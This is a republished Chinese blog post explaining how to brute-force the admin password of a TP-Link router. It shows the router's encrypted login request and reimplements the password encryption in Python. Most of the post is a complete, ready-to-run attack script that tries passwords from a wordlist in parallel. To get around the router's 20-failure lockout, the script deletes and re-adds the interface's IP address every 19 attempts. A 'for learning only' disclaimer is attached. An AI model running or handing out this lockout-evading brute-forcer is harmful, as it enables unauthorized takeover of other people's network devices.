本文介紹了如何使用Python實現Burp Suite進行登錄密碼的破解。首先,需要抓包查看請求,發現數據是加密的。然后,通過模擬登錄,當返回error_code為0表示登錄成功。最后,通過限制IP被封,我們需要注意更...
TPLINK設備是日常生活中最常見的網絡設備。有時候我們需要恢復路由器的登錄密碼。往往是采用爆破的形式。想著利用神器Burp直接暴力破解,通過抓包一臉懵逼~
注:本文僅供學習,堅決反對一切危害網絡安全的行為。造成法律后果自行負責!
先按照以往思路,抓包查看請求。
不難看到,數據是加密了。
{"method":"do","login":{"password":"0wL8rbhc9TefbwK"}}
其中的加密方法
查閱了這位大佬的博客:https://blog.csdn.net/oMaFei/article/details/94592388 通過Python實現了模擬登錄。當返回error_code為0表示登錄成功。
解決IP被封
TPKINK等登錄IP做了限制,錯誤20次后,自動封鎖此IP。因此,我們我們需要不斷更換IP地址。為了使破解順利,我對一個IP只用19次,用完后,立馬切換IP地址。
sudo ip addr del 192.168.0.109/24 dev eth0 #刪除IP
sudo ip addr add 192.168.0.100/24 dev eth0 #添加IP
完整代碼
#!/usr/bin/env python
# -*- coding:utf8 -*-
import requests
import json
import random
import time
from concurrent.futures import ThreadPoolExecutor
import sys
import subprocess
import re
import logging
import os
from functools import partial
# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
class NetworkManager:
def __init__(self, interface='eth0', gateway='192.168.0.1'):
self.interface = interface
self.gateway = gateway
self.used_ips = set()
self.current_ip_attempts = 0# 當前IP的嘗試次數
self.max_attempts_per_ip = 19# 每個IP最多嘗試次數
def get_current_ip(self):
"""獲取當前IP地址"""
try:
result = subprocess.run(['ip', 'addr', 'show', self.interface],
capture_output=True, text=True)
ip_match = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', result.stdout)
if ip_match:
return ip_match.group(1)
returnNone
except Exception as e:
logger.error(f"獲取當前IP失敗: {str(e)}")
returnNone
def generate_new_ip(self):
"""生成新的IP地址"""
whileTrue:
new_ip = f"192.168.0.{random.randint(2, 254)}"
if new_ip notin self.used_ips:
self.used_ips.add(new_ip)
return new_ip
def change_ip(self):
"""修改IP地址"""
new_ip = self.generate_new_ip()
logger.info(f"正在嘗試切換到新IP: {new_ip}")
try:
current_ip = self.get_current_ip()
if current_ip:
# 刪除當前IP
logger.info(f"刪除當前IP {current_ip}...")
subprocess.run(['ip', 'addr', 'del', f"{current_ip}/24", 'dev', self.interface],
check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
# 添加新IP
logger.info("正在添加新IP地址...")
subprocess.run(['ip', 'addr', 'add', f"{new_ip}/24", 'dev', self.interface],
check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
# 等待網絡連接生效
logger.info("等待網絡連接生效...")
time.sleep(2)
# 驗證IP是否更改成功
current_ip = self.get_current_ip()
if current_ip == new_ip:
logger.info(f"IP已成功更改為: {new_ip}")
self.current_ip_attempts = 0# 重置嘗試次數
returnTrue
else:
logger.error(f"IP更改失敗,當前IP: {current_ip}")
returnFalse
except subprocess.CalledProcessError as e:
logger.error(f"修改IP失敗: {e.stderr.decode().strip()}")
returnFalse
except Exception as e:
logger.error(f"修改IP失敗: {str(e)}")
returnFalse
def should_change_ip(self):
"""檢查是否需要切換IP"""
self.current_ip_attempts += 1
if self.current_ip_attempts >= self.max_attempts_per_ip:
logger.info(f"當前IP已使用{self.current_ip_attempts}次,準備切換...")
returnTrue
returnFalse
class LoginTpLink(object):
def __init__(self, network_manager):
self.stok = None
self.success = False
self.password = None
self.network_manager = network_manager
self.failed_attempts = 0
self.max_failed_attempts = 15# 在達到20次之前就切換IP
def is_ip_blocked(self, response):
"""檢查IP是否被封"""
try:
result = json.loads(response.text)
if'error_code'in result and result['error_code'] == -1:
returnTrue
returnFalse
except:
returnFalse
def login(self, password):
encryptPwd = self.encrypt_pwd(password)
url = 'http://192.168.0.1/'
headers = {
'Content-Type': 'application/json; charset=UTF-8'
}
payload = '{"method":"do","login":{"password":"%s"}}' % encryptPwd
try:
if self.network_manager.should_change_ip():
logger.info("當前IP使用次數已達上限,切換IP...")
ifnot self.network_manager.change_ip():
logger.error("IP切換失敗,等待60秒后重試...")
time.sleep(60)
returnFalse
self.failed_attempts = 0
return self.login(password) # 使用新IP重試
response = requests.post(url, data=payload, headers=headers, timeout=5)
if self.is_ip_blocked(response):
logger.warning("檢測到IP被封,正在切換IP...")
ifnot self.network_manager.change_ip():
logger.error("IP切換失敗,等待60秒后重試...")
time.sleep(60)
returnFalse
self.failed_attempts = 0
return self.login(password) # 使用新IP重試
result = json.loads(response.text)
if result.get('error_code') == 0:
self.success = True
self.password = password
self.stok = result.get('stok')
returnTrue
self.failed_attempts += 1
if self.failed_attempts >= self.max_failed_attempts:
logger.warning(f"失敗次數達到{self.max_failed_attempts}次,切換IP...")
ifnot self.network_manager.change_ip():
logger.error("IP切換失敗,等待60秒后重試...")
time.sleep(60)
returnFalse
self.failed_attempts = 0
return self.login(password) # 使用新IP重試
returnFalse
except Exception as e:
logger.error(f"嘗試密碼 {password} 時發生錯誤: {str(e)}")
returnFalse
def encrypt_pwd(self, password):
input1 = "RDpbLfCPsJZ7fiv"
input3 = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW"
len1 = len(input1)
len2 = len(password)
dictionary = input3
lenDict = len(dictionary)
output = ''
if len1 > len2:
length = len1
else:
length = len2
index = 0
while index < length:
cl = 187
cr = 187
if index >= len1:
cr = ord(password[index])
elif index >= len2:
cl = ord(input1[index])
else:
cl = ord(input1[index])
cr = ord(password[index])
index += 1
output = output + chr(ord(dictionary[cl ^ cr]) % lenDict)
return output
def try_password(password, network_manager):
login_tp_link = LoginTpLink(network_manager)
if login_tp_link.login(password):
logger.info(f"\n[+] 成功找到密碼: {password}")
return password
returnNone
def main():
if len(sys.argv) != 2:
print("使用方法: sudo python 11.py <密碼字典文件路徑>")
sys.exit(1)
password_file = sys.argv[1]
try:
with open(password_file, 'r', encoding='utf-8') as f:
passwords = [line.strip() for line in f if line.strip()]
except Exception as e:
logger.error(f"讀取密碼字典文件時發生錯誤: {str(e)}")
sys.exit(1)
logger.info(f"[*] 已加載 {len(passwords)} 個密碼")
network_manager = NetworkManager(interface='eth0') # 根據實際情況修改接口名稱
logger.info("開始切換初始IP...")
ifnot network_manager.change_ip():
logger.error("初始IP切換失敗,退出程序")
sys.exit(1)
logger.info("[*] 開始嘗試破解...")
with ThreadPoolExecutor(max_workers=3) as executor:
func = partial(try_password, network_manager=network_manager)
results = list(executor.map(func, passwords))
success_passwords = [p for p in results if p isnotNone]
if success_passwords:
logger.info(f"\n[+] 破解成功!找到 {len(success_passwords)} 個有效密碼:")
for pwd in success_passwords:
logger.info(f" - {pwd}")
else:
logger.info("\n[-] 未找到有效密碼")
if __name__ == '__main__':
main()
使用方法
python3 11.py pass.txt #pass.txt為你的字典
注意,修改代碼中,路由器的網關192.168.0.1根據你的實際進行修改。
原文來源:https://mp.weixin.qq.com/s/rPm0RzlPvfDBwngZU19Akg
來源:本文內容搜集或轉自各大網絡平臺,并已注明來源、出處,如果轉載侵犯您的版權或非授權發布,請聯系小編,我們會及時審核處理。
聲明:江蘇教育黃頁對文中觀點保持中立,對所包含內容的準確性、可靠性或者完整性不提供任何明示或暗示的保證,不對文章觀點負責,僅作分享之用,文章版權及插圖屬于原作者。
Copyright©2013-2025 ?JSedu114 All Rights Reserved. 江蘇教育信息綜合發布查詢平臺保留所有權利
蘇公網安備32010402000125
蘇ICP備14051488號-3技術支持:南京博盛藍睿網絡科技有限公司
南京思必達教育科技有限公司版權所有 百度統計